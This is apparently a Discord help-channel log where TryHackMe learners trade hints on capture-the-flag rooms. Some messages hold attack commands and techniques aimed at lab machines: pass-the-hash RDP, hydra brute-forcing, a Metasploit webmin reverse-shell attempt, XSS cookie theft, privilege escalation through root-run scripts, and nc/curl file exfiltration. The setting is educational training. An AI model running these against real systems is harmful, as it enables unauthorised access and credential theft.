Hello, I have an issue with a room… I’m supposed to scan some ports, but those who interest me are closed… so I can’t answer to the question

I can give more informations about the exact exercise

[lucid junco]

Which room and task?

[obsidian cedar]

Networks Services, Task3

I should see the ||SMB ports||, but since my scan showed me opened ports and those 2 are closed, I can’t advance
Plus I cant answer the first question, since I put the exact number of opened ports, and it’s still wrong

[lucid junco]

What ports are open when you scan?

[obsidian cedar]

Opened: ||80, 111, 389, 3389, 5901, 6001||

Filtered: ||7777, 7778||

I know the ||smb ports|| are ||139/445|| cause I googled it, but I want to see it and answer to the first question

[lucid junco]

Which machine are you scanning?

Can I have the IP please?

[obsidian cedar]

I scan the machine created on THM

IP: 10.10.154.229

[lucid junco]

You're scanning the wrong ip.

That's the attackbox

Press that button, "Start Machine"

[obsidian cedar]

When I try to click on « start machine », nothing happens and the timer begins

[lucid junco]

And you'll get a box up the top with an acive machine information

In there, that's the IP you "target"

[obsidian cedar]

Oh fuck

I forgot it

Im so dumb I’m really sorry

Now I have the good number of ports

[lucid junco]

Lol, no worries!

[obsidian cedar]

Thanks a lot! ❤️

[ionic fossil]

Hi All,

Can some one help me with the Agent Sudo room. Zip file password question.( If facing an challenge while

1. I was not able to see the zip file when executing the binwalk for the cutie.txt.
2. I have checked that file has the wrong hex gradient. So i have change it even after that i was not able to find what the issue was. I could not able to find the zip file .

But when i check the image file using strings command i can see that there is an hidden file in the image.

Thanks in advance for the help.

[mint dragon]

try binwalk on the image

[ionic fossil]

tq

[cinder beacon]

Hi guys, in the unified kill chain framework, at what step the attacker gains the actual access to the system? Is it at exploitation?

[lucid junco]

Which task number?

[trim hamlet]

hello

linux basics part 3 room apache2 file is not in my attackbox. Could you help me ?
Ben

[red fern]

Hello can you send any screenshot of the folder please N

[tropic garden]

You would probably have to cd to the /var/log/apache2 directory in the target machine.

[hearty dove]

anyone been doing forgotten implant im a little stuck .. i can see a request but unsure what to do with it

[lucid junco]

||base64||

[rustic imp]

hello
task2 of the Authentication Bypass module I enter the command required by the problem. The command can run completely, but no result is displayed. How do I solve the problem?

[edgy agate]

whats the command you're running?

[ashen compass]

Hey folks, question I am on Intro to Defense security: Task 3, I completed the task, but the question: What is the flag that you obtained by following along? I can't find it anywhere.

[lucid junco]

It's on the website you start with the green button.

[light pendant]

need some hints on https://tryhackme.com/room/basicpentestingjt on enumerating users. From hint I know to ||leverage smb for enumeration||, so I do
||nmap --script smb-enum-users.nse -p445 <IP>|| but it returns no results. Also tried ||port 139|| but with no luck.

[raven zenith]

Hey y'all, Can someone give me a hint what can I do if I have .sh created by root and this .sh call script written by user?

Room ||"Startup"||

[honest wagon]

This means any code you put into the script that is called (user owned) will be executed by root when they run their original script

Just make sure to set permissions correctly

[raven zenith]

but when I try to spawn shell -- it spawns with user priv

[honest wagon]

Everyone should have a right to execute

Root should not only create the first script, but run it

Or you should run it as root

Unless it has SUID bit set

If you are the one running it -- you get a shell as you

[raven zenith]

hmm, so I should find the way how to execute it as root, maybe check cron or something like that

[raven zenith]

Thanks!

[green minnow]

Gave +1 Rep to @honest wagon

[honest wagon]

Possible, cron

Or some binary calls it that you could sudo

Etc etc

[raven zenith]

Have to read through privesc in basic penetration testing soon

[honest wagon]

Basically, must force root run it, or find a way to do it yourself as root

And since root will be running it, don't just put bash there

That would spawn a shell for them, not u

Make them do some operation that would give you access

Reverse shell, changing permissions, etc etc

[cloud night]

morning guys

my name is Benjamin need some help pls, i'm new to cyber and i'm having some challenges, I'll be glad if someone can be of help or as many lol

thank you in advance

[edgy agate]

what exactly are you looking for

[cloud night]

@edgy agate thank you for getting back to me

[green minnow]

Gave +1 Rep to @edgy agate

[cloud night]

I'm having some challenges on defensive questions
What is the flag that you obtained by following along?

[proper bolt]

hey y'all i'm stuck on task 5 in local file inclusion #2. the VERSION_ID is 18.04 according to os-release but it's not taking that as an answer. did i miss something somewhere? 😫

[woven fable]

I've been stuck on the MITRE room task 3.9, I can't seem to find what other group overlaps

nevermind, I just need to read the WHOLE page next time

[proper bolt]

i'm also now stuck on the challenge for task 8 in file inclusion, i don't quite understand LFI, and it seems like you need to have extra knowledge and/or tool experience to actually finish this challenge.

[marble schooner]

It's basically when the person can access files which r not supposed to be accessed on the webserver, usually this can be spotted when the "?foo=bar" something like this and bar is mostly in plain text or not encrypted

[marble schooner]

Is there a format in the answer ?

[marble schooner]

Happens because any input given is literally treated as trusted so If you were to put a local file into the url. It would literally give its output since there's nothing to check

[knotty peak]

Can somone help with the alfred room task 2 i am getting this error when trying to download my payload

Why is the file name rev-shelll.exe~

https://tryhackme.com/room/alfred

[knotty peak]

I dont know why I am getting 404 for and than it shows up

ignore I mistyped my msfvenom

[coarse grotto]

Hi can someone help me in the daily buggle room. I am stuck. I found the password and connected but when I edit the index.php to a reverse shell in php and setup netcat I receive no shell even when I reload the page ten times

[proper bolt]

Ye, turns out the answer is outdated. Current ID is 18.04 but the "correct answer" is 12.04. Sounds like the ID updated but the answer didn't.

[limber linden]

Hi, anyone that can give me a small hint on Pickle Rick?

Did enumeration, found username, but what next? DId i miss results in my enumeration or should i proceed on the next phase?

[jolly shore]

What task are you at

[limber linden]

First one

[limber linden]

Got a few steps further. Thanks for now 🙂

[marble schooner]

Ah I see

[jaunty elbow]

hy guys
a little hint for OSIRIS room

I created a new local administrator on the machine
i have turn off firewall and defender
change the ntlm password for chajoh user

but i cant login whit:

xfreerdp /v:10.10.118.53 /u:WINDCORP\\chajoh /pth:610b3d657797a3db5bbcde10dc28baaa /dynamic-resolution /cert:ignore

xfreerdp /v:10.10.118.53 /u:chajoh /pth:610b3d657797a3db5bbcde10dc28baaa /dynamic-resolution /cert:ignore

xfreerdp /v:10.10.118.53 /u:WINDCORP\\chajoh /p:"ChangeMe123#" /dynamic-resolution /cert:ignore

any idea/hint

[jaunty elbow]

& any idea where i can find this tool CQMasterKeyAD.exe?

[alpine kestrel]

sounds like you found a user that is not rdp enabled

[jaunty elbow]

a user said he was able to log in with that account but I'm starting to have doubts.
Assigned to Everyone the "Remote Desktop User"

the only user i had on machine

Administrator DefaultAccount gian
Guest scheduler WDAGUtilityAccount

but...I think I'm close to the solution
maybe you don't need to login as chajoh. once the keypass key has been recompiled, I should still be able to log in by passing the masterkey for keypass.

x) the only problem is that I have to find a way to replace the key

Now swap the old masterkey file with the new one and set the system and hidden attributes, see example

[rich basin]

Hello. I've been trying to use SSH to access the room box from my attackbox and usually the password was tryhackme but now it doesn't work, is there a reason for this? I'm working on NNetwork services and SMB

[lucid junco]

You don't need to access via SSH for that box.

Not all rooms have ssh login.

[rich basin]

Oh, okay. I am trying with the correct syntax of smbclient and I keep getting an error but looking up the error right now

[rich basin]

Can I DM you for some help on this room? The forums on the site aren't really showing anything and the one post I found had nothing that really helped.

[still lintel]

Hey all. Can anyone give me a hint for flag3 in Olympus. Got user flag and escalated to user from www user.

[strong lance]

try to find unusual files which your user or users group has read permission and look where it leads you.

[white salmon]

I'm attempting The Quest for Least Privilege, and Task 1 (question reads "If you are denied access while you have this policy, what type of policy is blocking you?") has me proper stumped. I'd be grateful for any hints as to where I should be looking.

[tropic garden]

I think not many folks can help as the AWS Path is limited to Business Users only, but there will surely be folks who can chime in.

[white salmon]

Ah, damn, that makes sense. Thanks dude.

[lucid junco]

Peonnaly in the task text

[marble schooner]

kind of stuck in "year of the rabbit" room, got a directory from style.css and accessed it, it said the video contained some clue but it doesnt have anything interesting, source code has nothing interesting, and theres no hidden directories, nothing in cookies any idea what i am missing out?

[random pond]

not familiar with the room but do know that THM likes steganography so maybe run with that and see if any hidden info shows up

[rose umbra]

does the video contain morse code or something like that??

[white salmon]

From memory, there is at least one hidden directory you can find with a tool like gobuster and a common directory list. The key, when you find it, is to continue enumeration recursively, then continue enumeration recursively, then continue enumeration recursively, then continue enumeration recursively, then continue enumeration recursively, ... After a while it will become obvious.

[marble schooner]

nah, its just rickroll

[marble schooner]

hmm, come to think of it, i havent checked the requests it makes when i access the webpage

[marble schooner]

i will check through that, thx

[green minnow]

Gave +1 Rep to @random pond

[knotty peak]

Can someone help me with the hack the park room https://tryhackme.com/room/hackthepark
Last task (5) How do I use winPEAS to find the original install date? || I was able to find it using systeminfo but not winPEAS ||

[strong lance]

could need a hint on: https://tryhackme.com/room/fileinc
task 8, flag2:
setting || cookie to admin || is no problem, but i have problems to interpret:
Warning: include(includes/Admin.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37
in general i have problems with this lfi and rfi topic to draw good conclusions and not only try and error; i understand the basic concept but i dont realy get how to properly enumerate...

EDIT: wow, okay, after a break i got it... didn't knew that cookies can be used in this way... it's all about cookies...

[rose umbra]

well cookies can decry to get some useful information from them indeed..

[random pond]

i got stuck on crypto 101 task 11

help:

1. gpg import the .key
2. decrypt other file

you will get the flag

[left thunder]

And what you stuck with exactly?

[magic ridge]

Can someone give me hint for Crylo room

I got nothing .

Stuck in Bypassing login page

[random pond]

i was lost in what to do with the .key file. reading the docs the import of the key was not clear to me

luckily someone else posted what they did on here, there is no writeups for the room

[left thunder]

Alright, so I guess you are good now?

[tropic garden]

If I recall, this box is fairly new and hints will not be given in the firt 72hrs.

[magic ridge]

Thats sad : )

[white salmon]

Hello guys, I need some help
I've been stuck on the question

"What do you need to access a web application?"

I tried - web browser, internet connection, URL / link, Authentication Credentials...
doesn't seem to work

thanks in advance 🙂

[strong lance]

posting the task would be helpful... in general their are stars in the answer field which show you how long the answer is and sth about the format. e.g. if the answer would be web browser you would see *** *******

[white salmon]

I tried to attach a screenshot but Discord doesn't allow me?
it in the Web Application Security module, I will provide a link

https://tryhackme.com/room/introwebapplicationsecurity

[white salmon]

I would be very grateful 🙂

[left thunder]

You are close, but the word you are looking for only has 7 characters

According to the asterisks in the answer field 🙂

[white salmon]

what could possibly be,

[left thunder]

The word you are looking for is already in the ones you tried

[white salmon]

thanks G, the answer is browser, instead of "web browser" 😩

[random pond]

yes, thanks.

[ripe hedge]

You need to verify to post screenshots

[tropic garden]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[floral scarab]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[rose umbra]

not here brother click on the link..

[nocturne garden]

Does cracking the hash in DailyBugle really take this long?

nvm just cracked it

blowfish is a b*tch to crack holy

[jaunty elbow]

For powershell-empire build a Docker container. Like blodhound-python is better running on docker

[rose umbra]

ohh

and how can I do that

not sure how to deploy a docker or something liek that

[jaunty elbow]

i just build one because i can't find other solution "relatively easy"

[rose umbra]

yeah if possible can you tell me how to do so ':)

mind if I dm regarding this ?

[jaunty elbow]

Download the last image
docker pull bcsecurity/empire:latest

Run the SERVER with the rest api and socket ports open
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

To run the CLIENT against the already running server container
docker container ls --> Retrieve the id of the container server** {container-id}**
docker exec -it {container-id} ./ps-empire client

https://bc-security.gitbook.io/empire-wiki/quickstart/installation

[rose umbra]

thank you so much for helping my out let me try it out and see if I can run this 🥲

[green minnow]

Gave +1 Rep to @jaunty elbow

[jaunty elbow]

It has to work.
Basically with docker you create an isolated environment with all the correct dependencies

[rose umbra]

ohh

honestly speaking no idea about docker..
i was going through a ctf chal so i heard the name of the docker file first time over there no idea even how can we open it

[jaunty elbow]

There is room on THM

Explaning how to build and manage

and exploit of course

[rose umbra]

ohh can you drop the link for it

[jaunty elbow]

https://tryhackme.com/room/introtodockerk8pdqk

https://tryhackme.com/room/dockerrodeo

https://tryhackme.com/room/thegreatescape

[rose umbra]

thank you again buddy!!

[green minnow]

Gave +1 Rep to @jaunty elbow

[jaunty elbow]

This first

https://tryhackme.com/room/introtocontainerisation

[valid herald]

hello all, I am just getting started with the "starting point" labs and need some hints on a question that should be really easy, but I can't find the answer.
this is for tier1 "appointment" box. task 3. "What is the 2021 OWASP Top 10 Classification for this Vulnerability" referring to the classification name for sql injections. I have been all over the OWASP site for 2021 and I can't find any "classification name" e.g. ********_********n
I don't see anything that fits this pattern ? any hints would be appreciated

[tropic garden]

If I remember it correctly, isn't this HTB?

[random pond]

can I get a clue?

Room: common attacks
Task 2:
Questions: what was the original target of Stuxnet?

the answer is
*** **** ****** *********

I read the document

my guesses are
|| the iran ? ? || or || usb iran ||
third and fourth word are 6 and 9 characters long, any word i would associate with the answer is either too short or too long

[honest wagon]

The iran ...

Then name of the program they ran and was targeted

Make sure the spelling of the third one is correct, it's commonly mispronounced!

[random pond]

|| the iran natanz facility || is current guess

[honest wagon]

More broad

As in Lunar Space Program

[random pond]

ok, got the answer. maybe late day work is not for me

thank @honest wagon

[green minnow]

Gave +1 Rep to @honest wagon

[honest wagon]

[valid herald]

I'm so sorry you are correct. I'm working in both environments.

[tropic garden]

By the way, are you sure it is not --_--*-?

[valid herald]

oh yeah that didn't paste well it actually --------_--------n
i'll be sure to post to the correct group next time 🙂 thanks

[green minnow]

Gave +1 Rep to @tropic garden

[tropic garden]

Isn't that the type of injection that lets you run or issue commands directly to the OS?

[valid herald]

ah I got it thank you.. that helped and pointed me to the answer I needed, I appreciate it !!

[green minnow]

Gave +1 Rep to @tropic garden

[white salmon]

Hi guys, I need some help 😩 .
I tried various solutions but it doesn't work, I guess my browser can not load properly.

it is about Operating System Security. I need the answer to the very last question.
I can not attach a screenshot but I will provide a link:
https://tryhackme.com/room/operatingsystemsecurity

Thanks in advance 🙏

[lucid junco]

Log in as johnny, find the password from the bash history and log in via su - root

[white salmon]

I logged in as johnny the first 2 times, now when I tried it says that this user doesnt exist

[lucid junco]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[lucid junco]

Verify and provide screenshots please.

[white salmon]

the bot doesnt even appear on the chat, idk why

[lucid junco]

It might still be down

@proud scarab

It's there, lol

[jaunty elbow]

su johnny
NOT
su - johnny

Sorry su root

[lucid junco]

su - root

Works.

[jaunty elbow]

No -

[lucid junco]

As stated in the room.

Yes.

[jaunty elbow]

I don't think there is a user
"- root"

I'm Shure there is
root
user

[lucid junco]

🤷

[jaunty elbow]

[lucid junco]

They've logged in as Johnny already, they need to go to root.

[jaunty elbow]

The “su –” command is utilized to switch to the root user account and create a login shell session. It means that it loads the environment of the target user, including the home directory, PATH, and other environment variables.

su – Commands
This command switches the user to the root user account and sets the environment variables to those of the root user.
It also changes the current directory to the root user’s home directory.
This command is often used to execute commands as the root user.
su root Commands
This command switches the user to the root user account without changing the current environment variables or the current directory.
It requires the user to enter the root user’s password to authenticate.
This command is often used to perform administrative tasks as the root user without affecting the current environment.

---

To switch to another user’s account and start a new shell with their environment, use the “su – <username>” command.

The “su root” command switches to the root user account without creating a login shell. It means that it does not load the root user’s environment. Here is the example of the su root command in

you never stop learning 👍

[lucid junco]

That wasn't my point.

I know you can do all that.

However they are having an issue with the room, so it's best to provide support on the room with the material.

[jaunty elbow]

I didn't know that

[nocturne garden]

Hi, I am doing Overpass 2 - Hacked and I am at the question: 'Using the fasttrack wordlist, how many of the system passwords were crackable?' I have the contents of ||/etc/shadow|| but I am missing the contents of ||/etc/passwd to unshadow and crack||. Crawling through the pcap file I learned that these weren't dumped by the attackers.

So basically I don't get how I would be able to crack the hashes and therefore know how many are crackable. What am I missing?

[honest wagon]

You don't really need to unshadow to crack the hashes, no?

All unshadow does is combining info from shadow and passwd. You can crack without usernames

The hashes themselves are in shadow only

[nocturne garden]

Yeah, I just cracked it the problem was that hashcat couldn't handle the 5 different types of hashes in that single file.

[honest wagon]

Ah! Figures

Gg

[nocturne garden]

Thanks for the explanation though, that wasn't clear enough for me obviously. Well now I learned two more things 🙂 Thanks @honest wagon

[green minnow]

Gave +1 Rep to @honest wagon

[nocturne garden]

Just when you think you got a little better you make some dumb shit like that 😄

[honest wagon]

aka learning process

[nocturne garden]

Yup 🙂

[stable walrus]

Hi there !

I'm currently trying to do the Upload Vulnerabilities - Tutorial room and I would like a hint on how to upload my shell for annex.uploadvulns.thm if this rings a bell to anyone...

[sand lark]

'no responses'

[strong lance]

would be helpful to tell us on what room you are exactly!

[strong lance]

is your question: how to bypass the server-side filtering? bypassing the filter to upload was not so tricky for me, but to get it executed as php... what hint do you need exactly?

[stable walrus]

In fact I think I've found the way to bypass the server-side filtering. In the previous room we could use the upload button to transfer the shell. In this room I can't see how to do it with the term

[strong lance]

if you type help you see 3 commands... type select and hit enter then you can select a file, type upload and hit enter and it will get uploaded

[stable walrus]

Man seriously... Would you believe I went so far because I didn't get I wasn't supposed to use -select but select

I feel like my stepmother using her computer

But thanks for your answer, I can resume now

[strong lance]

hahaha 😅 yeah i know that feeling... that happens

[stable walrus]

Happens sometimes, my brain goes far too often to "Quantic resolution needed" instead of just trying the easier way. "Uh my screen is KO. Yeah, you should make your linux driver. "Wait...Is the cable ok ?"

[strong lance]

hahaha 😄 if want weirder solutions for your upload problem you could try deactivating javascript to get rid of this fake terminal or upload it by inserting it with burp (:

[stable walrus]

Nah it's ok I'll carry on peacefully

[stable walrus]

And just to finish me

I always try to do the task without looking at the "hint"

"Commands do not start with a "-". Just use the word itself"

[stable walrus]

THM{TeslasSpirit0wn3d}

[white salmon]

Hi guys, I have been trying to log in as Johnny for a couple of days now but I guess my browser can not load it.

I would really appreciate if someone gave me the asnwer for that room, so I can continue.

I will provide a link:
https://tryhackme.com/room/operatingsystemsecurity

Thanks in advance 🙏

[lucid junco]

It's asking to you to switch to su - root

Are you entering the password wrong?

[white salmon]

no, 1 time I have access and then 50 times - I dont

[lucid junco]

Are you in root?

[white salmon]

it should be that, right>

[lucid junco]

No, you're root in the attackbox.

[white salmon]

ok..?

[lucid junco]

Wrong machine

In your screenshot, you spelt Johnny wrong.

you used jonny@10.10.210.17

[white salmon]

which machine am I supposed to load, I dont get it

[lucid junco]

Did you press the start machine button?

[white salmon]

yes, and there is that

and I just open AttackBox

[lucid junco]

Then you use the IP that will appear in the box at the top.

[lucid junco]

https://help.tryhackme.com/en/articles/7977454-how-to-starting-your-first-tryhackme-machine

Have a read over this, it will be clearer.

[white salmon]

that doesn't really help, I dont have a problem accessing the machine, it is just that the commands are not working

[lucid junco]

What's the ip that has populated that field I highlighted?

[lucid junco]

^ ?

[white salmon]

Sorry if you find a newbie like me annoying, but it is frustrating for me.
here is the ip that is shown, what should I do with it

[lucid junco]

You're not annoying me, don't worry. 🙂

Then you ssh in to it with the johnny.

[white salmon]

so it should look sth like ssh johnny@10.10.149.99

?

[lucid junco]

Yeah

[white salmon]

😩

[lucid junco]

yes

[strong lance]

its about the client asks you if you want to trust this server (this key) because you have not connected to it before

[white salmon]

it shows different thing every time I try

[lucid junco]

You forgot the @

[white salmon]

I have tried, it gives an error again

[lucid junco]

ssh johnny@10.10.221.128

[white salmon]

take a look : access denied

[lucid junco]

You've spelled johnny wrong again.

[white salmon]

now write - su root?

[lucid junco]

su - root

[white salmon]

authentication fauliure

[lucid junco]

Are you using the password in the second question?

[white salmon]

I used his password ( abc123) to log in, then after every command I have to write it again

but still access denied.. like..?

[strong lance]

I want to try to brute force a web login and the form makes a post request to auth/login.php, but with wrong credentials i don't get a feedback other than the site gets reloaded on /index.php... that brings me to the question how to capture that as wrong try with hydra, any idea? or should i use burp (but its to slow...)

[lucid junco]

if you do sudo - root it will ask you for the root password, not johnnys.

[lucid junco]

You could try OWASP ZAP?

[strong lance]

okay, will have a look at it never heard about (: thx!

[lucid junco]

https://tryhackme.com/room/learnowaspzap

No.

I've told you the steps to do.

I can show you in a video.

[strong lance]

thank you!

[green minnow]

Gave +1 Rep to @lucid junco

[lucid junco]

Infact, I can't because it won't show the password etc

And I need to leave.

[strong lance]

@white salmon some times it is a good idea to step it bit back, do sth else, and then when you have some distance to the problem come back, sit down and read from the beginning what is going on their and try to do it... maybe linux fundamentals could be also a good room for you: https://tryhackme.com/room/linuxfundamentalspart1

[tropic garden]

For burp, don't you only need to identify the request payload (including the page you need to send the request to) once so you can do the brute force via hydra?

[strong lance]

as far as i know hydra i need to specify what is returned if the login fails. concerning hydra the question would be how to tell hydra that a site reload means wrong credentials...

[honest wagon]

@strong lance it probably doesn't get reloaded right away, but sends you a 302 response with Location: header

This can be used to instruct fuzzers and bruteforcers to treat it as a wrong result. As correct login will 99% send you on the other page in a similar way or return 200

[strong lance]

@honest wagon hm, interesting, I'll try that later, didn't saw that, thx

[green minnow]

Gave +1 Rep to @honest wagon

[honest wagon]

Try setting failure condition to index.php first

If not working, study the response on bad login in more detail and find something fingerprinty there

[dire thunder]

Can someone give me a little hint for the Capstone Challenge in the Linux Privilege Escalation Room. I came so far and got the first flag. After switching over to the second user on the system I noticed that there is perl on the machine, or at least a pearl folder under /home/missy and that there ist /home/missy/scripts under the $PATH variable. The scripts directory on it self is missing, I was able to create it. But from here I am a bit stuck, and my research does not bring me really further...
A little push towards the right direction is appreciated, thanks 🙂

[alpine kestrel]

don't forget there is a lot of ways to escelate privleges not only suid or cronjobs but also

[dire thunder]

ok I will try something

Capabilities wont work

and there is no kernel exploit

[alpine kestrel]

correct and correct

[dire thunder]

I did it

[alpine kestrel]

one of the tasks in the room talk about this vector... it is obvious if you know how to enumerate that tool

[dire thunder]

🎉 🎉 🎉

[alpine kestrel]

nice

[dire thunder]

as the first user I was not allowed to use sudo -l that is why I did not tried it with the new one

But then I tried and I figuered that I can use sudo find, and I used that to get my root shell

[alpine kestrel]

yuups

good job

[dire thunder]

Thanks 🙂

[normal pilot]

can any one give me a hint in The Marketplace room ?

[pine dust]

Where are you at the moment in the room ?

[normal pilot]

trying to steal the admin cookies

[pine dust]

try this https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#retrieve-cookies

[normal pilot]

lol i was using it and i used web hook to recive the admin cookie but nothing happend it works on me but on the admin dosent work

[pine dust]

Maybe wait for some time or restart the room i guess.

[normal pilot]

i will restart the room and try agin

[honest wagon]

Make sure cookies are not marked with HttpOnly flag

If they are, you not stealing them

[normal pilot]

the proplem that i was sending the web hook

and the machine isnot connect to the internt

[normal pilot]

it wasnt use it

i want to cry now

[honest wagon]

Extract with a local web server and you'll be fine then

[normal pilot]

yes i will do

[honest wagon]

[sharp furnace]

Can anybody help me with the Web Enumeration (https://tryhackme.com/room/webenumerationv2) room?
I'm having trouble scanning for virtual hosts in the machine. I already added the /etc/host entry to point to the machine IP
When I scan, I get a lot of found matches, but non with code 200 (the answer at 1.3 should only have 2 subdomains)

[leaden dome]

Dont quote me but I believe it is resulting in that becuase you are using the vhost setting, try using the DNS setting in gobuster and see if the results are successful.

If not then use dirbuster, I have had this problem and doing one of the two things I have said fixed the issue you are having

[sharp furnace]

Finally found the problen on reddit. Apparently is a problem with that version. Some user suggested doing it from the Attackbox. My solution was to use the flag --append-domain

Another user also suggested the dns mode (which didn't work for me). I doubt it because the room specifically says that there is a vhost running

Thanks for the help!

[leaden dome]

yeah I have always had a problem when wanting to enumerate subdomains because 9 times out of 10 I get the result you got and its too annoying

[leaden dome]

Anyone able to give me a hint in the new CTF challenge "grep". Been stuck for over an hour and cant even answer the first question. It says the CTF relies on recon and OSINT but it feels like I have done almost everything and found nothing sadly. Any hints ?

[tropic garden]

Unfortunately, there is a 72-hour no-hints policy for newly released boxes.

[leaden dome]

I’ll come back in 72 hours 😂😪

[normal pilot]

any hint for this bash file #!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *
to make privilege scalation

[tulip mural]

just search privesc using tar on google , you will find articles about it

[leaden dome]

Check if it’s a cronjob and can edit the file

[trim haven]

#1142160261197877339 btw

[normal pilot]

nah it was a scrtipt and i have solved the machine finaly

[graceful breach]

Protocols and Servers 2

https://discordapp.com/channels/521382216299839518/522158539129618453/1142506056426209292

[silent merlin]

how do i get flag 16 Windows Local Persistence

[left thunder]

You around?

[silent merlin]

ye

[silent merlin]

hello

[fossil socket]

Nearly through the yara room. being asked about the conditions on file2.yar (pretty sure this is the file its asking about). file has to be less than... and it's staring at me at the bottom of the file but doesn't match the answer format. any more hints?

[sly basin]

i have been doing this room
https://tryhackme.com/room/anthem
and i got into the umbraco admin panel, and i got information disclosure type error from an preview error when trying LFI. tried uploading rev shells to the post,images etc, changed redirection to rev shells, but everything is taken as strings.
a hint for the rev shell will be helpful. is it on LFI or am i missing something

a hint would be greatly appreciated

[heavy skiff]

can someone tell me or hint me how to download these files off the vm

[tropic garden]

There are multiple ways:

1. scp
2. host a python http.server on the source machine and download it via wget.
3. nc
4. Host a python upload server on the machine where you want to save the file and send it from the source via the curl -X post or wget --post-file command.

[misty bay]

any hints about the sequel of wonderland ie looking glass? ran nmap and all the ports I get are ssh ports

[tropic garden]

Same problem here. 😅 Ports || 9000 to 13000~ || are opened and most of these are rabbit holes.

I have an idea on how to filter them out, but can't get my head around it yet so I moved to other boxes first. Hopefully when I complete the bash scripting room . 😑

[misty bay]

i was looking about dropbear ssh and i stumbled on vulnerabilities where it allows code execution in the ssh command itself

maybe something which can be used

[misty bay]

nice

[hexed dagger]

who is here the best hacker ?

[lucid junco]

Me 😎

Nah, a good contender is 0day

[hexed dagger]

can you hack a phone only by its number ?

[lucid junco]

No, I don't dabble in phone hacks.

[hexed dagger]

then what can you do

on what level

[ripe hedge]

now why would you want to do that?

[hexed dagger]

cz i need an intelligent team member who can have power at emergency

[ripe hedge]

o.O

[hexed dagger]

yup

[ripe hedge]

so I suggest you re-read the #rules first

[rose umbra]

can you explain what rabbit holes are ':)

[lucid junco]

Rabbit holes are pontionally something you find, which looks vulnerable, but itsn't really, it's a deceptive time sink.

[rose umbra]

ohhh

[rose umbra]

thank you

[green minnow]

Gave +1 Rep to @lucid junco

[rose umbra]

so how can we differentiate if a port that is open is rabbit hole or not ?

[tropic garden]

At the start, you don't, that's where enumeration comes into play.

[steady stratus]

^^ enumeration and process of elimination

[rose umbra]

okie seems like need to learn more this!!

[rose umbra]

thank you

[green minnow]

Gave +1 Rep to @tropic garden

[ancient crest]

There is nothing here. I'm an idiot.

[slate canopy]

lol

[charred trail]

Hi , any resource to walkthrough Android Hacking 101 in tryhack me room? Like you tube video walkthrough?

[knotty peak]

I have a question about the gamezone room https://tryhackme.com/room/gamezone# task 5 how do I know port 1000 is being blocked from the outside by a firewall and what does outside refer to

[knotty peak]

medium has a lot of walkthroughs

search the room on medium

[jaunty elbow]

They said from IPtable list

sudo iptables -L -v -n

[knotty peak]

thanks I wasnt sure if I was supposd to run iptables or I missed something in an earlier output

[green minnow]

Gave +1 Rep to @jaunty elbow

[jaunty elbow]

from outside whit nmap the output near the port should be
filtered

[knotty peak]

since I am not able to use sudo with the account Ive sshed into what should I do instead for iptables

[knotty peak]

Can someone give me a hint on task 6 of the gamezone room https://tryhackme.com/room/gamezone# I looked up the webmin w/ version on searchsploit then used the exploit I found on meterpreter ||unix/webapp/webmin_show_cgi_exec and when I set all the option and add a payload I tried payloads:
/cmd/unix/reverse Unix Command Shell, Double Reverse TCP (telnet)
[] Started reverse TCP double handler on 10.6.58.176:4444
[] Attempting to login...
[-] Authentication failed
[*] Exploit completed, but no session was created.

payload/cmd/unix/reverse_bash_telnet_ssl Unix Command Shell, Reverse TCP SSL (telnet)
[] Started reverse SSL handler on 10.6.58.176:4444
[] Attempting to login...
[-] Authentication failed
[*] Exploit completed, but no session was created.||

[knotty peak]

Thanks for the help in advance!

[clever seal]

On the last question of task 8 on https://tryhackme.com/room/passwordattacks I have created the wordlist file using:
john --wordlist=clinic.lst --rules=single-extra --stdout > pass.txt.
I then run:
hydra -l burgess -P pass.txt 10.10.X.X http-post-form "/login-post:username=^USER^&password=^PASS^:S=logout.php", but I am not having any success with this command. Can someone point out my error please?

I have also tried hydra -l burgess -P pass.txt 10.10.X.X http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php"

[jaunty elbow]

you have to run the exploit trought ssh tunnel

[jaunty elbow]

maybe check the fault options
:S=logout.php

[alpine kestrel]

shadow sticked a -f at the end of that command

hydra -l burgess -P custom2.lst 10.10.48.200 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f

if that still does not help shadow would recommend looking at the amount of lines of your pass.txt

[clever seal]

I tried
hydra -l burgess -P pass.txt 10.10.X.X http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
and
hydra -l burgess -P custom2.lst 10.10.48.200 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:F=Incorrect username or password." -f

No success.
My pass.txt has 537026 potential passwords.
What would shadow do in this situation?

[left thunder]

Could you show a screenshot of the command your ran and the output of it?

[alpine kestrel]

the second command you posted there is uses the wrong name for the password list and most definitely the wrong ip

[clever seal]

sorry, I was using just using generic ip.

[left thunder]

And the one with logout.php ?

[clever seal]

Well I got it now. Not sure if I was just not being patient enough.

@alpine kestrel Thanks!

[green minnow]

Gave +1 Rep to @alpine kestrel

[clever seal]

@left thunder Thanks!

[left thunder]

I would assume a typo or something, that's why I rather see screenshots

[clever seal]

I appreciate it. Thanks again

[alpine kestrel]

no problem... took a bit for shadow to figure out the right command for that task too but saved the commands shadow used to make sure for future reference

[charred trail]

Hey, sorry but medium , is it on this channel? I am not sure actually

[tropic garden]

@knotty peak is referring to https://medium.com/ as there are folks who post their write ups in the platform.

[elder bloom]

On the last question on http://tryhackme.com/room/introwebapplicationsecurity. Please someone should be of help

[jaunty elbow]

what is the problem

[lucid junco]

Click the View Site button.

[elder bloom]

I don’t know what next to do

I did

[jaunty elbow]

Check the other users to discover which user account was used to make the malicious changes and revert them
IDOR vuln

[elder bloom]

I changed the user_id, please what next do i do

Hello

[jaunty elbow]

you have to manually find the user who sabotaged the orders

[knotty peak]

Doesnt setting the options and payload in msfconsole run it through ssh?

